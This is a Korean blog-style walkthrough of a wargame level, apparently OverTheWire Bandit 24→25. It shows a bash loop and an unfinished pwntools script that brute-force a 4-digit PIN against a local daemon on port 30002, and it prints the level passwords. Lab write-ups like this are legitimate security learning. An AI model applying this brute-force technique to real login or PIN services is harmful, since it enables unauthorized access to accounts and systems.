데몬은 포트 30002에서 수신 대기 중이며 bandit24의 비밀번호와 비밀 숫자 4자리 핀코드가 제공되면 bandit25의 비밀번호를 제공합니다. brute-forcing이라고 하는 10000개의 조합을 모두 통과하는 것 외에는 핀코드를 검색할 방법이 없습니다.
매번 새로운 연결을 만들 필요가 없습니다.
여기에는 다양한 툴과 파이썬이 설치 되어 있다.
사실 파이썬으로 먼저 하다가 bash를 공부해봤다.
처음 알았는데
1. netcat(nc)랑 telnet은 비슷한 것이다.
2. nc에서 text 파일로 메시지를 보낼 수 있었다!
그래서
1. 모든 경우의 수 파일 만들기
2. nc로 send하기
#!/bin/bash
for i in {0..9999}
do
printf "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar %04d\n" $i >> numlist
done
이제 nc에 넣어보자.
결과(엄청~ 느림):
참고로 저는 중간에 멈춰서 2번으로 끊어서 했습니다.
cat res:
p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
2. 파이썬으로 해결(WIP)
from pwn import *
r = remote("localhost", 30002)
recvs = set([])
for i in range(0, 10000):
r.sendline(b"VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar " + bytes("{:04d}".format(i), 'utf-8'))
r.recv(timeout=0.001)
print(r.recv(timeout=1), i)
print(recvs)
bash 스크립트를 활용하자.
bash는 무궁무진!